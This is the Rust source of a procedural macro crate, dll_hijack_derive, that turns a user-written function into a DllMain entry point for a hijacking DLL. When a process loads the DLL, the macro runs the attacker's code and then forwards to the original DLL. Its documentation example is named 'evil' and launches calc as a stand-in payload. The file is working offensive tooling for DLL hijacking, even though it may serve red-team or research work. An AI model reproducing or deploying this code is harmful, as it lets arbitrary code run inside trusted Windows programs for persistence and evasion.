Skip to main content

dll_hijack_derive/
lib.rs

1use proc_macro::TokenStream;
2use quote::quote;
3use syn::parse::{Parse, ParseStream};
4use syn::punctuated::Punctuated;
5use syn::{parse_macro_input, Expr, ItemFn, Token};
6
7struct Args {
8    evil_dll_name: Expr,
9    orig_dll_name: Expr,
10}
11
12impl Parse for Args {
13    fn parse(input: ParseStream) -> syn::Result<Self> {
14        let args = Punctuated::<Expr, Token![,]>::parse_terminated(input)?;
15        Ok(Args {
16            evil_dll_name: args.first().unwrap().to_owned(),
17            orig_dll_name: args.last().unwrap().to_owned(),
18        })
19    }
20}
21
22/// # Dll hijack macro
23/// ## example
24///
25/// ```rust
26/// use std::process;
27/// use dll_hijack_derive::hijack;
28/// #[hijack("evil.dll", "orig.dll")]
29/// fn evil() {
30///     process::Command::new("calc").spawn().unwrap();
31/// }
32/// ```
33#[proc_macro_attribute]
34pub fn hijack(args: TokenStream, input: TokenStream) -> TokenStream {
35    let args = parse_macro_input!(args as Args);
36    let evil = parse_macro_input!(input as ItemFn).block;
37
38    let evil_dll_name = args.evil_dll_name;
39    let orig_dll_name = args.orig_dll_name;
40
41    let tokens = quote! {
42        use dll_hijack::{HMODULE, TRUE, BOOL};
43        use dll_hijack::{
44            DLL_PROCESS_ATTACH, DLL_PROCESS_DETACH, DLL_THREAD_ATTACH, DLL_THREAD_DETACH,
45        };
46        use std::ffi::c_void;
47        use dll_hijack::dll_hijack;
48
49        #[no_mangle]
50        pub extern "stdcall" fn DllMain(
51            h_module: HMODULE,
52            ul_reason_for_call: u32,
53            _reserved: *mut c_void,
54        ) -> BOOL {
55            match ul_reason_for_call {
56                DLL_PROCESS_ATTACH => {
57                    #evil
58                    dll_hijack(h_module, #evil_dll_name, #orig_dll_name);
59                },
60                DLL_THREAD_ATTACH => (),
61                DLL_THREAD_DETACH => (),
62                DLL_PROCESS_DETACH => (),
63                _ => (),
64            }
65
66            TRUE
67        }
68    };
69
70    tokens.into()
71}